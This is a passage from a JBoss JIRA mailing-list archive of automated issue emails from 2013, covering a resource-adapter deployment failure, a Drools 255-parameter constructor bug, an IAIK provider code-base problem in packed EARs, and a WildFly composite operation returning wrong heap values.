pec><activationspec-class>com.xx-yy.dmg.jca.eis.CddActivationSpec</activationspec-class><required-config-property><config-property-name>hostname</config-property-name></required-config-property><required-config-property><config-property-name>port</config-property-name></required-config-property><required-config-property><config-property-name>timeout</config-property-name></required-config-property></activationspec></messagelistener></messageadapter></inbound-resourceadapter></resourceadapter></connector>
> 11:29:25,010 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) IronJacamar=null
> 11:29:25,010 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) RaXML=<resource-adapter><archive>cdd-ra.rar</archive><transaction-support>NoTransaction</transaction-support><connection-definitions><connection-definition class-name="com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory" jndi-name="java:jboss/ra/cdd-connector" enabled="true" use-java-context="true" pool-name="ra/cdd-connector" use-ccm="false"><config-property name="port">42006</config-property><config-property name="probeTimeout">10</config-property><config-property name="timeout">45</config-property><config-property name="hostname">localhost</config-property><pool><min-pool-size>0</min-pool-size><max-pool-size>1</max-pool-size><prefill>false</prefill><use-strict-min>false</use-strict-min><flush-strategy>FailingConnectionOnly</flush-strategy></pool><timeout><blocking-timeout-millis>60000</blocking-timeout-millis></timeout><validation><background-validation>false</background-validation><use-fast-fail>false</use-fast-fail></validation></connection-definition></connection-definitions></resource-adapter>
> 11:29:25,012 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) ActivateDeployment=true
> 11:29:25,014 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) ResourceAdapter: com.xx-yy.dmg.jca.eis.CddResourceAdapter
> 11:29:25,014 TRACE [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) ResourceAdapter defined in classloader: ModuleClassLoader for Module "deployment.cdd-ra.rar:main" from Service Module Loader
> 11:29:25,014 DEBUG [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) CdMeta: <connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition>
> 11:29:25,015 DEBUG [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) ConnectionDefinitions: 1
> 11:29:25,017 DEBUG [org.jboss.as.connector.deployers.RaXmlDeployer] (MSC service thread 1-6) Activating: <connection-definition class-name="com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory" jndi-name="java:jboss/ra/cdd-connector" enabled="true" use-java-context="true" pool-name="ra/cdd-connector" use-ccm="false"><config-property name="port">42006</config-property><config-property name="probeTimeout">10</config-property><config-property name="timeout">45</config-property><config-property name="hostname">localhost</config-property><pool><min-pool-size>0</min-pool-size><max-pool-size>1</max-pool-size><prefill>false</prefill><use-strict-min>false</use-strict-min><flush-strategy>FailingConnectionOnly</flush-strategy></pool><timeout><blocking-timeout-millis>60000</blocking-timeout-millis></timeout><validation><background-validation>false</background-validation><use-fast-fail>false</use-fast-fail></validation></connection-definition>
> 11:29:25,018 INFO  [com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory] (MSC service thread 1-6) setPort() called.
> 11:29:25,019 INFO  [com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory] (MSC service thread 1-6) setProbeTiemout() called.
> 11:29:25,021 INFO  [com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory] (MSC service thread 1-6) setTimeout() called.
> 11:29:25,021 INFO  [com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory] (MSC service thread 1-6) setHostname() called.
> {noformat}
> Failed startup:
> {noformat}
> 11:30:44,391 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-5) DEPLOYMENT name = cdd-ra
> 11:30:44,402 TRACE [org.jboss.as.connector.subsystems.datasources.AbstractDataSourceService$AS7DataSourceDeployer] (MSC service thread 1-8) DataSource=<datasource jndi-name="java:jboss/datasources/ExampleDS" pool-name="ExampleDS" enabled="true" use-java-context="true" spy="false" use-ccm="true" jta="true"><connection-url>jdbc:h2:mem:test;DB_CLOSE_DELAY=-1</connection-url><driver>h2</driver><pool><min-pool-size>0</min-pool-size><max-pool-size>20</max-pool-size><prefill>false</prefill><use-strict-min>false</use-strict-min><flush-strategy>FailingConnectionOnly</flush-strategy></pool><security><user-name>sa</user-name><password>sa</password></security><validation><validate-on-match>false</validate-on-match><background-validation>false</background-validation><use-fast-fail>false</use-fast-fail></validation><timeout></timeout><statement><track-statements>nowarn</track-statements></statement></datasource>
> 11:30:44,408 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) Connector=<?xml version="1.0" encoding="UTF-8"?><connector version="1.5"><display-name>DMG CDD Resource Adapter</display-name><vendor-name>Cassidian</vendor-name><eis-type>CDD Server</eis-type><resourceadapter-version>1.0</resourceadapter-version><resourceadapter><resourceadapter-class>com.xx-yy.dmg.jca.eis.CddResourceAdapter</resourceadapter-class><outbound-resourceadapter><connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition><transaction-support>NoTransaction</transaction-support><reauthentication-support>false</reauthentication-support></outbound-resourceadapter><inbound-resourceadapter><messageadapter><messagelistener><messagelistener-type>javax.resource.cci.MessageListener</messagelistener-type><activationspec><activationspec-class>com.xx-yy.dmg.jca.eis.CddActivationSpec</activationspec-class><required-config-property><config-property-name>hostname</config-property-name></required-config-property><required-config-property><config-property-name>port</config-property-name></required-config-property><required-config-property><config-property-name>timeout</config-property-name></required-config-property></activationspec></messagelistener></messageadapter></inbound-resourceadapter></resourceadapter></connector>
> 11:30:44,410 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) IronJacamar=null
> 11:30:44,410 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) RaXML=null
> 11:30:44,410 TRACE [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) ActivateDeployment=false
> 11:30:44,445 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) CdMeta: <connection-definition><managedconnectionfactory-class>com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory</managedconnectionfactory-class><config-property><config-property-name>hostname</config-property-name><config-property-type>java.lang.String</config-property-type></config-property><config-property><config-property-name>port</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>timeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><config-property><config-property-name>probeTimeout</config-property-name><config-property-type>java.lang.Integer</config-property-type></config-property><connectionfactory-interface>javax.resource.cci.ConnectionFactory</connectionfactory-interface><connectionfactory-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionFactory</connectionfactory-impl-class><connection-interface>javax.resource.cci.Connection</connection-interface><connection-impl-class>com.xx-yy.dmg.jca.eis.CddConnectionImpl</connection-impl-class></connection-definition>
> 11:30:44,450 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) No activation: com.xx-yy.dmg.jca.eis.CddManagedConnectionFactory
> 11:30:44,452 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-5) Registering ResourceAdapter cdd-ra
> 11:30:44,453 DEBUG [org.jboss.as.connector.deployers.RADeployer] (MSC service thread 1-5) Activated: file:/C:/jboss-eap-6.1_test/standalone/tmp/vfs/temp3cf601edad306224/cdd-ra.rar-5ec7930ccabd45d/contents/
> 11:30:44,454 DEBUG [org.jboss.as.connector.deployment] (MSC service thread 1-5) Not activating: cdd-ra
> 11:30:44,468 DEBUG [org.jboss.as.connector.subsystems.datasources.AbstractDataSourceService$AS7DataSourceDeployer] (MSC service thread 1-8) Adding management datasource: DataSource at 1f69b08 xa=false jndiName=java:jboss/datasources/ExampleDS pool=org.jboss.jca.core.connectionmanager.pool.strategy.OnePool at 653c2b39 poolconfiguration=PoolConfiguration at 5139df1b[minSize=0 maxSize=20 blockingTimeout=30000 idleTimeoutMinutes=30 backgroundValidation=false backgroundValidationMillis=0 prefill=false strictMin=false useFastFail=false] statistics=org.jboss.jca.adapters.jdbc.statistics.JdbcStatisticsPlugin at 2e668f46]
> 11:30:44,482 DEBUG [org.jboss.as.connector.deployer.dsdeployer] (MSC service thread 1-8) Adding datasource: java:jboss/datasources/ExampleDS
> 11:30:44,485 INFO  [org.jboss.as.connector.subsystems.datasources] (MSC service thread 1-3) JBAS010400: Bound data source [java:jboss/datasources/ExampleDS]
> 11:30:44,578 INFO  [org.hornetq.core.server] (MSC service thread 1-1) HQ221034: Waiting to obtain live lock
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira


From jira-events at lists.jboss.org  Fri Sep 13 09:15:05 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 09:15:05 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3621) Declared types :
 Constructor with more than 255 parameters
In-Reply-To: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12474024.1347026839000.25542.1379078105066@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3621?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804165#comment-12804165 ] 

RH Bugzilla Integration commented on JBRULES-3621:
--------------------------------------------------

Jiri Locker <jlocker at redhat.com> made a comment on [bug 990701|https://bugzilla.redhat.com/show_bug.cgi?id=990701]

Verified. 1,000 fields can be added, validation OK.
                
> Declared types : Constructor with more than 255 parameters
> ----------------------------------------------------------
>
>                 Key: JBRULES-3621
>                 URL: https://issues.jboss.org/browse/JBRULES-3621
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core  (expert)
>    Affects Versions: 5.4.0.Final
>            Reporter: JP Chemali
>            Assignee: Mario Fusco
>             Fix For: 5.5.0.Beta1
>
>
> When declaring a class type in a drools file
> {code:Java}
> declare MyType
>  i1:int
>  i2:int
>  ...
>  i256:int
> end
> {code} 
> The generated *MyType* bean contains a constructor with ALL fields parameters, which when they exceed 255, cause an unrecoverable ClassFormatError
> Possible solutions:
> - Check this limit to skip the constructor generation in org.drools.factmodel.DefaultBeanClassBuilder.generateConstructors()
> - Maybe an explicit annotation to disable the behavior for those who don't need it?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:15:06 2013
From: jira-events at lists.jboss.org (RH Bugzilla Integration (JIRA))
Date: Fri, 13 Sep 2013 09:15:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBRULES-3621) Declared types :
 Constructor with more than 255 parameters
In-Reply-To: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12474024.1347026839000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12474024.1347026839000.25572.1379078106609@jira02.app.mwc.hst.phx2.redhat.com>


    [ https://issues.jboss.org/browse/JBRULES-3621?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12804166#comment-12804166 ] 

RH Bugzilla Integration commented on JBRULES-3621:
--------------------------------------------------

Jiri Locker <jlocker at redhat.com> changed the Status of [bug 990701|https://bugzilla.redhat.com/show_bug.cgi?id=990701] from ON_QA to VERIFIED
                
> Declared types : Constructor with more than 255 parameters
> ----------------------------------------------------------
>
>                 Key: JBRULES-3621
>                 URL: https://issues.jboss.org/browse/JBRULES-3621
>             Project: JBRULES
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: drools-core  (expert)
>    Affects Versions: 5.4.0.Final
>            Reporter: JP Chemali
>            Assignee: Mario Fusco
>             Fix For: 5.5.0.Beta1
>
>
> When declaring a class type in a drools file
> {code:Java}
> declare MyType
>  i1:int
>  i2:int
>  ...
>  i256:int
> end
> {code} 
> The generated *MyType* bean contains a constructor with ALL fields parameters, which when they exceed 255, cause an unrecoverable ClassFormatError
> Possible solutions:
> - Check this limit to skip the constructor generation in org.drools.factmodel.DefaultBeanClassBuilder.generateConstructors()
> - Maybe an explicit annotation to disable the behavior for those who don't need it?

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:15:06 2013
From: jira-events at lists.jboss.org (SBS JIRA Integration (JIRA))
Date: Fri, 13 Sep 2013 09:15:06 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (JBAS-7882) Wrong provider code base for
 security provider included in packed ear
In-Reply-To: <JIRA.12408050.1270129967000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12408050.1270129967000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12408050.1270129967000.25568.1379078106299@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/JBAS-7882?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

SBS JIRA Integration updated JBAS-7882:
---------------------------------------

    Forum Reference: https://community.jboss.org/thread/151972, https://community.jboss.org/docs/DOC-51415  (was: https://community.jboss.org/thread/151972)

    
> Wrong provider code base for security provider included in packed ear
> ---------------------------------------------------------------------
>
>                 Key: JBAS-7882
>                 URL: https://issues.jboss.org/browse/JBAS-7882
>             Project: Application Server 3  4  5 and 6
>          Issue Type: Bug
>      Security Level: Public(Everyone can see) 
>          Components: VFS
>    Affects Versions: JBossAS-5.1.0.GA, 6.0.0.M2, 6.0.0.M3, 6.0.0.Final
>         Environment: Any OS, JDK 5 and 6, JBoss AS 5.1.0 and 6.0.0.M2
>            Reporter: Petr H
>            Assignee: Ales Justin
>              Labels: base, code, nested, vfs
>         Attachments: IAIKTest.ear, JBAS-7882.patch, server-default.log, server-forceVfsJar.log
>
>
> We've got applications which use the IAIK JCE provider (http://jce.iaik.tugraz.at/sic/Products/Core-Crypto-Toolkits/JCA-JCE) whose library is included directly in our application.
> On JBoss AS 5 and later, we can't use this provider as usually.
> The new VFS mechanism seems to break the path determination to the IAIK provider library (needed to determine provider code base) - it still points into the ear/war structure inside the server deploy directory but as all this is packed into one ear file, the provider verification.fails because of unsigned ear/war and thus the following exception is thrown:
> 2010-04-01 15:04:20,034 INFO  [STDOUT] (http-0.0.0.0-8180-1) Provider code base: jar:file:/opt/jboss-5.1.0.GA/server/test1/deploy/IAIKTest.ear!/IAIKTestWeb.war
> ...
> 2010-04-01 15:04:20,890 ERROR [STDERR] (http-0.0.0.0-8180-1) java.lang.SecurityException: JCE cannot authenticate the provider IAIK
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.crypto.Cipher.getInstance(DashoA13*..)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.crypto.Cipher.getInstance(DashoA13*..)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at iaik.test.ControllerServlet.service(ControllerServlet.java:123)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.servlet.http.HttpServlet.service(HttpServlet.java:717)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:290)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.filters.ReplyHeaderFilter.doFilter(ReplyHeaderFilter.java:96)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:235)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:206)
> 2010-04-01 15:04:20,893 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.StandardWrapperValve.invoke(StandardWrapperValve.java:235)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.StandardContextValve.invoke(StandardContextValve.java:191)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.security.SecurityAssociationValve.invoke(SecurityAssociationValve.java:190)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.security.JaccContextValve.invoke(JaccContextValve.java:92)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.process(SecurityContextEstablishmentValve.java:126)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.security.SecurityContextEstablishmentValve.invoke(SecurityContextEstablishmentValve.java:70)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.StandardHostValve.invoke(StandardHostValve.java:127)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.valves.ErrorReportValve.invoke(ErrorReportValve.java:102)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.jboss.web.tomcat.service.jca.CachedConnectionValve.invoke(CachedConnectionValve.java:158)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.core.StandardEngineValve.invoke(StandardEngineValve.java:109)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.catalina.connector.CoyoteAdapter.service(CoyoteAdapter.java:330)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.coyote.http11.Http11AprProcessor.process(Http11AprProcessor.java:905)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.coyote.http11.Http11AprProtocol$Http11ConnectionHandler.process(Http11AprProtocol.java:592)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at org.apache.tomcat.util.net.AprEndpoint$Worker.run(AprEndpoint.java:2036)
> 2010-04-01 15:04:20,894 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at java.lang.Thread.run(Thread.java:619)
> 2010-04-01 15:04:20,895 ERROR [STDERR] (http-0.0.0.0-8180-1) Caused by: java.util.jar.JarException: Cannot parse jar:file:/opt/jboss-5.1.0.GA/server/test1/deploy/IAIKTest.ear!/IAIKTestWeb.war
> 2010-04-01 15:04:20,895 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.crypto.SunJCE_c.a(DashoA13*..)
> 2010-04-01 15:04:20,895 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.crypto.SunJCE_b.b(DashoA13*..)
> 2010-04-01 15:04:20,895 ERROR [STDERR] (http-0.0.0.0-8180-1) 	at javax.crypto.SunJCE_b.a(DashoA13*..)
> 2010-04-01 15:04:20,895 ERROR [STDERR] (http-0.0.0.0-8180-1) 	... 24 more
> This works when one of tho three mentioned workarounds is used.
> The most interesting of course is the third workaround for which the code base corectly points to the temporary IAIK library instance in the java.io.tmpdir:
> 2010-04-01 15:09:51,291 INFO  [STDOUT] (http-0.0.0.0-8180-1) Provider code base: file:/tmp/nestedjar2481829661547119990.tmp
> I'll attach a simple testcase ear (IAIKTest.ear) which contains an evaluation version of IAIK provider library (thanks for permission to the IAIK authors) and a simple servlet (including source) which demonstrates the problem.
> All you need to do is to have the unrestricted JCE policy files installed in your JRE and then just put the IAIKTest.ear into the deploy directory, start the JBoss instance and access the test servlet URL in browser, for example: http://localhost:8080/IAIKTestWeb/ControllerServlet
> On init (which happens on start) it will register the IAIK provider
> On service (after you access it in browser) it will attempt to get some cipher instance and here it fails.
> I'll also attach two log files covering the problem:
> - server-default.log with default server setup where the issue occurs 
> - server-forceVfsJar.log with jboss.vfs.forceVfsJar=true where the issue doesn't occur
> Also I think this is more generic problem because we had similar issues, where some jar or resource location was pointing to the packed ear/war structure inside the deploy directory instead of those VFS temporary locations, with our own code (when attemting to obtain full path) and had to perform some modifications in order to make it working. The same set of workarounds could resolve these issues as well.

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:17:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 09:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
 incorrect heap values
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25581.1379078223611@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2062:
------------------------------

    Summary: Composite response returns incorrect heap values  (was: Composite response returns bogus data)

    
> Composite response returns incorrect heap values
> ------------------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data. 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "threading")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "runtime")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          },
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "operating-system")
>              ],
>              "operation" => "read-resource",
>              "include-runtime" => true
>          }
>      ]
>  }
> {noformat}
> Here's the response for the relevant heap section:
> {noformat}
> {
>      "init" => 1366294528L,
>      "used" => 92433896L,
>      "committed" => 1309081600L,
>      "max" => 1309081600L
> }
> {noformat}
> But the actual values (using CLI) are:
> {noformat}
> [domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
> {
>     "outcome" => "success",
>     "result" => {
>         "heap-memory-usage" => {
>             "init" => 67108864L,
>             "used" => 36680856L,
>             "committed" => 188547072L,
>             "max" => 477233152L
>         },
>        [...]
>     }
> }
> {noformat}

--
This message is automatically generated by JIRA.
If you think it was sent incorrectly, please contact your JIRA administrators
For more information on JIRA, see: http://www.atlassian.com/software/jira

From jira-events at lists.jboss.org  Fri Sep 13 09:17:03 2013
From: jira-events at lists.jboss.org (Heiko Braun (JIRA))
Date: Fri, 13 Sep 2013 09:17:03 -0400 (EDT)
Subject: [jboss-jira] [JBoss JIRA] (WFLY-2062) Composite response returns
 incorrect heap values
In-Reply-To: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
References: <JIRA.12500668.1379063652000@jira02.app.mwc.hst.phx2.redhat.com>
Message-ID: <JIRA.12500668.1379063652000.25585.1379078223802@jira02.app.mwc.hst.phx2.redhat.com>


     [ https://issues.jboss.org/browse/WFLY-2062?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]

Heiko Braun updated WFLY-2062:
------------------------------

    Description: 
Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data (the numeric values are wrong). 

This is the operation that we execute over HTTP:

{noformat}
 {
     "operation" => "composite",
     "address" => [],
     "steps" => [
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "memory")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "threading")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "runtime")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "operating-system")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         }
     ]
 }
{noformat}


Here's the response for the relevant heap section (wrong values):

{noformat}
{
     "init" => 1366294528L,
     "used" => 92433896L,
     "committed" => 1309081600L,
     "max" => 1309081600L
}
{noformat}


But the actual values (using CLI) are (correct values):

{noformat}
[domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "heap-memory-usage" => {
            "init" => 67108864L,
            "used" => 36680856L,
            "committed" => 188547072L,
            "max" => 477233152L
        },
       [...]
    }
}
{noformat}

  was:
Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data. 

This is the operation that we execute over HTTP:

{noformat}
 {
     "operation" => "composite",
     "address" => [],
     "steps" => [
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "memory")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "threading")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "runtime")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         },
         {
             "address" => [
                 ("host" => "master"),
                 ("server" => "server-one"),
                 ("core-service" => "platform-mbean"),
                 ("type" => "operating-system")
             ],
             "operation" => "read-resource",
             "include-runtime" => true
         }
     ]
 }
{noformat}


Here's the response for the relevant heap section:

{noformat}
{
     "init" => 1366294528L,
     "used" => 92433896L,
     "committed" => 1309081600L,
     "max" => 1309081600L
}
{noformat}


But the actual values (using CLI) are:

{noformat}
[domain at localhost:9999 /] /host=master/core-service=platform-mbean/type=memory:read-resource(include-runtime=true)
{
    "outcome" => "success",
    "result" => {
        "heap-memory-usage" => {
            "init" => 67108864L,
            "used" => 36680856L,
            "committed" => 188547072L,
            "max" => 477233152L
        },
       [...]
    }
}
{noformat}


    
> Composite response returns incorrect heap values
> ------------------------------------------------
>
>                 Key: WFLY-2062
>                 URL: https://issues.jboss.org/browse/WFLY-2062
>             Project: WildFly
>          Issue Type: Feature Request
>          Components: Domain Management
>            Reporter: Heiko Braun
>            Assignee: Brian Stansberry
>             Fix For: 8.0.0.Beta1
>
>
> Trying to read the heap memory usage from a host vm, we've disovered that a composite request through the http layer, returns bogus data (the numeric values are wrong). 
> This is the operation that we execute over HTTP:
> {noformat}
>  {
>      "operation" => "composite",
>      "address" => [],
>      "steps" => [
>          {
>              "address" => [
>                  ("host" => "master"),
>                  ("server" => "server-one"),
>                  ("core-service" => "platform-mbean"),
>                  ("type" => "memory")
>              ],
>              "operation" => "read-resource",
